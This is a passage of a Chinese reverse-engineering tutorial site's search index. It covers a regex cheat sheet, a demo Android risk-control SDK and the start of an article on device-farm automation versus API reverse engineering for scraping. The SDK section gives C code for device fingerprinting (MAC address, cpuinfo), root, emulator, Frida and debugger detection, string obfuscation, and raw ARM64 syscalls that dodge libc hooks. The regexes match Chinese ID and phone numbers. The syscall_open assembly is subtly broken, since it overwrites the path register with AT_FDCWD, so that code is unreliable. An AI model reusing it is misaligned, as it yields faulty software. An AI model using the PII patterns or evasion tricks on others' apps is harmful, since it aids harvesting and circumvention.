","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:3:5","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#javascript-代码模式"},{"categories":null,"collections":null,"content":"手机号/邮箱 # 中国手机号 1[3-9]\\d{9} # 邮箱 [\\w\\.-]+@[\\w\\.-]+\\.\\w+ # IPv4 \\b(?:\\d{1,3}\\.){3}\\d{1,3}\\b # 身份证号 [1-9]\\d{5}(18|19|20)\\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\\d|3[01])\\d{3}[\\dXx] ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:3:6","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#手机号邮箱"},{"categories":null,"collections":null,"content":"JavaScript 中使用 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:4:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#javascript-中使用"},{"categories":null,"collections":null,"content":"基础用法 const pattern = /pattern/flags; // 常用方法 pattern.test(str) // 返回 true/false str.match(pattern) // 返回匹配数组 str.replace(pattern, replacement) pattern.exec(str) // 返回详细匹配信息 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:4:1","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#基础用法"},{"categories":null,"collections":null,"content":"Flags (标志) Flag 说明 g 全局匹配 i 忽略大小写 m 多行模式 s dotAll 模式（.匹配所有字符） u Unicode 模式 y 粘性匹配 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:4:2","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#flags-标志"},{"categories":null,"collections":null,"content":"示例 // 提取所有链接 const html = '\u003ca href=\"/page1\"\u003eLink\u003c/a\u003e\u003ca href=\"/page2\"\u003eLink2\u003c/a\u003e'; const links = html.match(/href=\"([^\"]+)\"/g); // ['href=\"/page1\"', 'href=\"/page2\"'] // 只提取 href 值 const hrefValues = [...html.matchAll(/href=\"([^\"]+)\"/g)].map((m) =\u003e m[1]); // ['/page1', '/page2'] ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:4:3","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#示例"},{"categories":null,"collections":null,"content":"Python 中使用 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:5:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#python-中使用"},{"categories":null,"collections":null,"content":"re 模块 import re # 编译正则（提高性能） pattern = re.compile(r'pattern') # 常用方法 re.search(pattern, string) # 查找第一个匹配 re.findall(pattern, string) # 查找所有匹配 re.finditer(pattern, string) # 返回迭代器 re.sub(pattern, repl, string) # 替换 re.split(pattern, string) # 分割 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:5:1","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#re-模块"},{"categories":null,"collections":null,"content":"Flags re.IGNORECASE # 或 re.I - 忽略大小写 re.MULTILINE # 或 re.M - 多行模式 re.DOTALL # 或 re.S - .匹配所有字符 re.VERBOSE # 或 re.X - 详细模式（可以写注释） ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:5:2","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#flags"},{"categories":null,"collections":null,"content":"示例 # 提取加密参数 code = 'sign=md5(\"user\"+password+\"secret\")' match = re.search(r'sign=(\\w+)\\(\"([^\"]+)\"\\+(\\w+)\\+\"([^\"]+)\"\\)', code) if match: algorithm = match.group(1) # 'md5' param1 = match.group(2) # 'user' param2 = match.group(3) # 'password' secret = match.group(4) # 'secret' ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:5:3","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#示例-1"},{"categories":null,"collections":null,"content":"高级技巧 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:6:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#高级技巧"},{"categories":null,"collections":null,"content":"非贪婪匹配 # 贪婪（尽可能多） .* # 非贪婪（尽可能少） .*? # 示例 \u003cdiv\u003econtent\u003c/div\u003e\u003cdiv\u003emore\u003c/div\u003e # 贪婪: \u003cdiv\u003e.*\u003c/div\u003e # 匹配: \u003cdiv\u003econtent\u003c/div\u003e\u003cdiv\u003emore\u003c/div\u003e # 非贪婪: \u003cdiv\u003e.*?\u003c/div\u003e # 匹配: \u003cdiv\u003econtent\u003c/div\u003e ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:6:1","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#非贪婪匹配"},{"categories":null,"collections":null,"content":"前瞻和后顾 # 正向前瞻 (?=pattern) \\w+(?=\\d) # 匹配后面跟数字的单词 # 负向前瞻 (?!pattern) \\w+(?!\\d) # 匹配后面不跟数字的单词 # 正向后顾 (?\u003c=pattern) (?\u003c=\\$)\\d+ # 匹配前面有$符号的数字 # 负向后顾 (?\u003c!pattern) (?\u003c!\\$)\\d+ # 匹配前面没有$符号的数字 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:6:2","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#前瞻和后顾"},{"categories":null,"collections":null,"content":"命名分组 # Python pattern = r'(?P\u003cyear\u003e\\d{4})-(?P\u003cmonth\u003e\\d{2})-(?P\u003cday\u003e\\d{2})' match = re.search(pattern, '2024-01-15') print(match.group('year')) # '2024' print(match.group('month')) # '01' // JavaScript const pattern = /(?\u003cyear\u003e\\d{4})-(?\u003cmonth\u003e\\d{2})-(?\u003cday\u003e\\d{2})/; const match = \"2024-01-15\".match(pattern); console.log(match.groups.year); // '2024' ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:6:3","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#命名分组"},{"categories":null,"collections":null,"content":"在线测试工具 Regex101: https://regex101.com/ (推荐，有详细说明) RegExr: https://regexr.com/ RegexPal: https://www.regexpal.com/ ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:7:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#在线测试工具"},{"categories":null,"collections":null,"content":"实战示例集 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:8:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#实战示例集"},{"categories":null,"collections":null,"content":"1. 提取 JavaScript 函数调用 (\\w+)\\s*\\(([^)]*)\\) code = \"encrypt('password', 'key'); hash(data)\" calls = re.findall(r'(\\w+)\\s*\\(([^)]*)\\)', code) # [('encrypt', \"'password', 'key'\"), ('hash', 'data')] ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:8:1","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#1-提取-javascript-函数调用"},{"categories":null,"collections":null,"content":"2. 清理 HTML 标签 html = \"\u003cp\u003eHello \u003cstrong\u003eWorld\u003c/strong\u003e\u003c/p\u003e\" text = re.sub(r'\u003c[^\u003e]+\u003e', '', html) # \"Hello World\" ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:8:2","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#2-清理-html-标签"},{"categories":null,"collections":null,"content":"3. 验证时间戳格式 # 13位时间戳（毫秒） \\b1\\d{12}\\b # 10位时间戳（秒） \\b1\\d{9}\\b ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:8:3","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#3-验证时间戳格式"},{"categories":null,"collections":null,"content":"4. 提取混淆变量名 # 提取 _0x 开头的变量 _0x[a-f0-9]+ code = \"var _0x1234 = function(_0xabcd) { return _0xabcd + _0x5678; }\" vars = re.findall(r'_0x[a-f0-9]+', code) # ['_0x1234', '_0xabcd', '_0xabcd', '_0x5678'] ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:8:4","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#4-提取混淆变量名"},{"categories":null,"collections":null,"content":"性能优化 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:9:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#性能优化"},{"categories":null,"collections":null,"content":"避免回溯 # 慢（大量回溯） (a+)*b # 快（使用原子组） (?\u003ea+)*b ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:9:1","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#避免回溯"},{"categories":null,"collections":null,"content":"编译正则 # 如果要多次使用，先编译 pattern = re.compile(r'complex_pattern') for text in texts: matches = pattern.findall(text) # 更快 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:9:2","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#编译正则"},{"categories":null,"collections":null,"content":"相关章节 常用命令 JavaScript 反混淆 API 逆向 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:10:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#相关章节"},{"categories":null,"collections":null,"content":"风控 SDK 架构设计 说明: 本案例是笔者根据实际风控 SDK 逆向分析经验，构建的一个精简版客户端风控 SDK Demo。 旨在帮助读者理解风控 SDK 的核心架构和设计思路，而非生产级实现。 Risk Control SDK 是一个用于移动应用的设备指纹识别和安全评估系统，基于 JNI 架构实现。 ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:0:0","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#风控-sdk-架构设计"},{"categories":null,"collections":null,"content":"核心架构 ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:1:0","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#核心架构"},{"categories":null,"collections":null,"content":"分层设计 ┌─────────────────────────────────────────────────────────┐ │ Application │ ├─────────────────────────────────────────────────────────┤ │ Java Layer │ │ ┌─────────────┐ ┌──────────────┐ ┌────────────────┐ │ │ │ RiskControl │ │ Device │ │ Security │ │ │ │ SDK │ │ Fingerprint │ │ Result │ │ │ └──────┬──────┘ └──────┬───────┘ └───────┬────────┘ │ ├─────────┴────────────────┴──────────────────┴───────────┤ │ JNI Bridge │ │ native_init() / native_collect() / ... │ ├─────────────────────────────────────────────────────────┤ │ Native Layer (C/C++) │ │ ┌─────────────┐ ┌──────────────┐ ┌────────────────┐ │ │ │ Fingerprint │ │ Security │ │ Anti-Reverse │ │ │ │ Collector │ │ Detector │ │ Protection │ │ │ └─────────────┘ └──────────────┘ └────────────────┘ │ ├─────────────────────────────────────────────────────────┤ │ System Layer │ │ /proc | /sys | syscall | linker | ART │ └─────────────────────────────────────────────────────────┘ ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:1:1","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#分层设计"},{"categories":null,"collections":null,"content":"设计原则 敏感逻辑下沉 Native: 核心检测算法放在 C/C++ 层，增加逆向难度 JNI 动态注册: 避免静态符号暴露，使用 RegisterNatives 动态绑定 多维度采集: 硬件、软件、网络、行为多个维度交叉验证 分层防护: 每层都有独立的安全检测机制 ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:1:2","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#设计原则"},{"categories":null,"collections":null,"content":"项目结构 risk-control-sdk/ ├── src/ │ ├── java/com/riskcontrol/ │ │ ├── RiskControlSDK.java # 对外 API 入口 │ │ ├── DeviceFingerprint.java # 设备指纹数据结构 │ │ ├── SecurityResult.java # 安全检测结果 │ │ └── RiskScore.java # 风险评分 │ └── native/ │ ├── risk_control.c/.h # 主控制逻辑 │ ├── fingerprint_collector.c # 指纹采集 │ ├── security_detector.c # 安全检测 │ ├── anti_reverse.c/.h # 反逆向保护 │ ├── art_method_hook.c/.h # ART Hook 检测 │ └── svc_syscall.c/.h # 直接系统调用 └── CMakeLists.txt ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:2:0","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#项目结构"},{"categories":null,"collections":null,"content":"核心模块设计 ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:3:0","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#核心模块设计"},{"categories":null,"collections":null,"content":"1. Java 层 API 设计 Java 层提供简洁的对外接口，隐藏底层复杂性： public class RiskControlSDK { private static volatile RiskControlSDK instance; static { System.loadLibrary(\"riskcontrol\"); } // 单例模式 public static RiskControlSDK getInstance() { if (instance == null) { synchronized (RiskControlSDK.class) { if (instance == null) { instance = new RiskControlSDK(); } } } return instance; } // Native 方法声明 private native int nativeInit(); private native String nativeCollectFingerprint(); private native int nativeSecurityCheck(); private native void nativeCleanup(); // 对外 API public DeviceFingerprint getDeviceFingerprint() { String rawData = nativeCollectFingerprint(); return DeviceFingerprint.parse(rawData); } public SecurityResult performSecurityCheck() { int flags = nativeSecurityCheck(); return new SecurityResult(flags); } public RiskScore calculateRiskScore(DeviceFingerprint fp, SecurityResult sr) { // 综合评分算法 int score = 100; if (sr.isRooted()) score -= 30; if (sr.isEmulator()) score -= 40; if (sr.isHooked()) score -= 50; if (sr.isDebugged()) score -= 20; return new RiskScore(Math.max(0, score)); } } ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:3:1","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#1-java-层-api-设计"},{"categories":null,"collections":null,"content":"2. JNI 动态注册 避免函数名暴露，使用动态注册方式： // risk_control.c // 方法映射表（隐藏真实函数名） static JNINativeMethod g_methods[] = { {\"nativeInit\", \"()I\", (void*)rc_init}, {\"nativeCollectFingerprint\", \"()Ljava/lang/String;\", (void*)rc_collect}, {\"nativeSecurityCheck\", \"()I\", (void*)rc_check}, {\"nativeCleanup\", \"()V\", (void*)rc_cleanup}, }; // JNI_OnLoad 动态注册 JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) { JNIEnv* env; if ((*vm)-\u003eGetEnv(vm, (void**)\u0026env, JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } // 自检：检测是否被调试或 Hook if (detect_debugger() || detect_frida()) { return JNI_ERR; // 拒绝加载 } jclass clazz = (*env)-\u003eFindClass(env, \"com/riskcontrol/RiskControlSDK\"); if (clazz == NULL) { return JNI_ERR; } // 动态注册 Native 方法 int method_count = sizeof(g_methods) / sizeof(g_methods[0]); if ((*env)-\u003eRegisterNatives(env, clazz, g_methods, method_count) \u003c 0) { return JNI_ERR; } return JNI_VERSION_1_6; } ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:3:2","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#2-jni-动态注册"},{"categories":null,"collections":null,"content":"3. 设备指纹采集 多维度采集设备唯一标识： // fingerprint_collector.c typedef struct { char android_id[64]; char build_fingerprint[256]; char hardware_serial[64]; char mac_address[32]; char cpu_info[128]; uint32_t screen_metrics; uint32_t sensor_list_hash; } device_fingerprint_t; // 采集硬件信息（直接读取 /proc 和 /sys） static void collect_hardware_info(device_fingerprint_t* fp) { // 读取 CPU 信息 FILE* f = fopen(\"/proc/cpuinfo\", \"r\"); if (f) { char line[256]; while (fgets(line, sizeof(line), f)) { if (strstr(line, \"Hardware\") || strstr(line, \"model name\")) { strncpy(fp-\u003ecpu_info, line, sizeof(fp-\u003ecpu_info) - 1); break; } } fclose(f); } // 读取 MAC 地址 f = fopen(\"/sys/class/net/wlan0/address\", \"r\"); if (f) { fgets(fp-\u003emac_address, sizeof(fp-\u003emac_address), f); fclose(f); } } // 使用直接系统调用读取（绕过 libc Hook） static int read_file_svc(const char* path, char* buf, size_t size) { int fd = syscall_open(path, O_RDONLY); if (fd \u003c 0) return -1; int ret = syscall_read(fd, buf, size); syscall_close(fd); return ret; } ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:3:3","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#3-设备指纹采集"},{"categories":null,"collections":null,"content":"4. 安全检测模块 检测各类逆向分析环境： // security_detector.c #define FLAG_ROOTED (1 \u003c\u003c 0) #define FLAG_EMULATOR (1 \u003c\u003c 1) #define FLAG_DEBUGGED (1 \u003c\u003c 2) #define FLAG_HOOKED (1 \u003c\u003c 3) #define FLAG_TAMPERED (1 \u003c\u003c 4) // Root 检测 static int detect_root(void) { const char* su_paths[] = { \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/data/local/su\", \"/data/local/bin/su\", }; for (int i = 0; i \u003c sizeof(su_paths)/sizeof(su_paths[0]); i++) { if (access(su_paths[i], F_OK) == 0) { return 1; } } // 检测 Magisk if (access(\"/sbin/.magisk\", F_OK) == 0) { return 1; } return 0; } // 模拟器检测 static int detect_emulator(void) { char buf[256]; // 检查 Build 属性 __system_property_get(\"ro.product.model\", buf); if (strstr(buf, \"sdk\") || strstr(buf, \"Emulator\")) { return 1; } // 检查 QEMU 特征文件 if (access(\"/dev/qemu_pipe\", F_OK) == 0 || access(\"/dev/goldfish_pipe\", F_OK) == 0) { return 1; } // 检查 CPU 特征 read_file_svc(\"/proc/cpuinfo\", buf, sizeof(buf)); if (strstr(buf, \"goldfish\") || strstr(buf, \"ranchu\")) { return 1; } return 0; } // Frida 检测 static int detect_frida(void) { // 1. 检测默认端口 struct sockaddr_in addr; int sock = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(27042); // Frida 默认端口 addr.sin_addr.s_addr = inet_addr(\"127.0.0.1\"); if (connect(sock, (struct sockaddr*)\u0026addr, sizeof(addr)) == 0) { close(sock); return 1; // 端口开放，可能有 Frida } close(sock); // 2. 扫描 /proc/self/maps 查找 Frida 模块 FILE* f = fopen(\"/proc/self/maps\", \"r\"); if (f) { char line[512]; while (fgets(line, sizeof(line), f)) { if (strstr(line, \"frida\") || strstr(line, \"gadget\")) { fclose(f); return 1; } } fclose(f); } // 3. 检测 Frida 特征字符串 // （遍历内存查找 \"LIBFRIDA\" 等特征） return 0; } // 调试器检测 static int detect_debugger(void) { // 1. 检查 TracerPid char buf[256]; read_file_svc(\"/proc/self/status\", buf, sizeof(buf)); char* tracer = strstr(buf, \"TracerPid:\"); if (tracer) { int pid = atoi(tracer + 10); if (pid != 0) { return 1; } } // 2. ptrace 自检 if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) { return 1; // 已被 ptrace } ptrace(PTRACE_DETACH, 0, NULL, NULL); return 0; } // 综合安全检测 jint rc_check(JNIEnv* env, jobject thiz) { int flags = 0; if (detect_root()) flags |= FLAG_ROOTED; if (detect_emulator()) flags |= FLAG_EMULATOR; if (detect_debugger()) flags |= FLAG_DEBUGGED; if (detect_frida()) flags |= FLAG_HOOKED; return flags; } ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:3:4","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#4-安全检测模块"},{"categories":null,"collections":null,"content":"5. 反逆向保护 保护 Native 代码不被轻易分析： // anti_reverse.c // 字符串加密（编译时混淆） #define ENCRYPTED_STR(s) decrypt_string(s, sizeof(s)) static char* decrypt_string(const char* enc, size_t len) { static char buf[256]; for (size_t i = 0; i \u003c len \u0026\u0026 i \u003c sizeof(buf) - 1; i++) { buf[i] = enc[i] ^ 0x5A; // 简单 XOR（实际应使用更复杂算法） } buf[len] = '\\0'; return buf; } // 控制流平坦化示例 static int obfuscated_check(int input) { int state = 0; int result = 0; while (1) { switch (state) { case 0: if (input \u003e 10) state = 1; else state = 2; break; case 1: result = input * 2; state = 3; break; case 2: result = input + 5; state = 3; break; case 3: return result; } } } // 完整性校验（检测代码是否被篡改） static int verify_integrity(void) { Dl_info info; if (dladdr((void*)verify_integrity, \u0026info) == 0) { return -1; } // 读取 .text 段计算校验和 // 与预置值比较，检测是否被 patch return 0; } ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:3:5","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#5-反逆向保护"},{"categories":null,"collections":null,"content":"6. 直接系统调用 绕过 libc 层的 Hook： // svc_syscall.c (ARM64) // 直接 SVC 调用，绕过 libc static inline long syscall_open(const char* path, int flags) { long ret; __asm__ volatile ( \"mov x0, %1\\n\" \"mov x1, %2\\n\" \"mov x8, #56\\n\" // __NR_openat \"mov x0, #-100\\n\" // AT_FDCWD \"svc #0\\n\" \"mov %0, x0\\n\" : \"=r\"(ret) : \"r\"(path), \"r\"(flags) : \"x0\", \"x1\", \"x8\" ); return ret; } static inline long syscall_read(int fd, void* buf, size_t count) { long ret; __asm__ volatile ( \"mov x0, %1\\n\" \"mov x1, %2\\n\" \"mov x2, %3\\n\" \"mov x8, #63\\n\" // __NR_read \"svc #0\\n\" \"mov %0, x0\\n\" : \"=r\"(ret) : \"r\"(fd), \"r\"(buf), \"r\"(count) : \"x0\", \"x1\", \"x2\", \"x8\" ); return ret; } ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:3:6","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#6-直接系统调用"},{"categories":null,"collections":null,"content":"数据流设计 ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ App 调用 │────▶│ Java API │────▶│ JNI Bridge │ │ SDK.init() │ │ getInstance │ │ nativeInit │ └──────────────┘ └──────────────┘ └──────┬───────┘ │ ▼ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ 返回结果 │◀────│ 组装数据 │◀────│ Native 采集 │ │ RiskScore │ │ Fingerprint │ │ /proc /sys │ └──────────────┘ └──────────────┘ └──────────────┘ ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:4:0","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#数据流设计"},{"categories":null,"collections":null,"content":"快速编译 如需编译测试，只需执行： mkdir build \u0026\u0026 cd build cmake .. make -j$(nproc) 输出文件： libriskcontrol.so - Native 库 RiskControlSDK.jar - Java 封装 ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:5:0","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#快速编译"},{"categories":null,"collections":null,"content":"总结 本 Demo 展示了客户端风控 SDK 的核心设计理念： 模块 核心思想 JNI 动态注册 隐藏函数符号，增加静态分析难度 设备指纹 多维度采集，交叉验证 安全检测 多层次检测 Root/模拟器/Hook/调试器 直接系统调用 绕过 libc Hook，获取真实数据 反逆向保护 字符串加密、控制流混淆、完整性校验 理解这些设计思路，有助于在逆向分析时快速定位关键逻辑。 ","date":"2025-03-04","objectID":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/:6:0","tags":["Native层","大数据","浏览器指纹","Frida","加密分析","工程实践"],"title":"风控 SDK 架构设计","uri":"/reverse_engineering/android/04-reference/engineering/risk_control_sdk_build_guide/#总结"},{"categories":null,"collections":null,"content":"群控技术 vs API 逆向：技术路线选择指南 在移动端数据采集和自动化领域，群控技术和 API 逆向是两条主流的技术路线。本文将从多个维度对比分析两者的优劣，帮助你根据实际场景选择合适的方案。 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:0:0","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#群控技术-vs-api-逆向技术路线选择指南"},{"categories":null,"collections":null,"content":"核心概念 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:1:0","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#核心概念"},{"categories":null,"collections":null,"content":"群控技术 通过控制真实或模拟的移动设备，在 App 原生环境中执行自动化操作。 ┌─────────────────────────────────────────────────────────┐ │ 群控架构 │ ├─────────────────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────────┐ ┌───────────┐ │ │ │ 控制中心 │ ──► │ ADB / 代理 │ ──► │ 真实设备 │ │ │ │ (调度) │ │ (指令下发) │ │ (执行) │ │ │ └──────────┘ └──────────────┘ └─────┬─────┘ │ │ │ │ │ ┌──────────┐ ┌──────────────┐ ┌─────▼─────┐ │ │ │ 数据存储 │ ◄── │ 数据采集 │ ◄── │ 原生 App │ │ │ │ (结果) │ │ (解析) │ │ (运行) │ │ │ └──────────┘ └──────────────┘ └───────────┘ │ │ │ └─────────────────────────────────────────────────────────┘ 典型实现： 真机群控 (USB/WiFi ADB) 云手机 (ARM 服务器虚拟化) Android 模拟器集群 Appium / UIAutomator 自动化 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:1:1","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#群控技术"},{"categories":null,"collections":null,"content":"API 逆向 通过逆向分析 App 的网络协议和加密算法，直接模拟 API 请求获取数据。 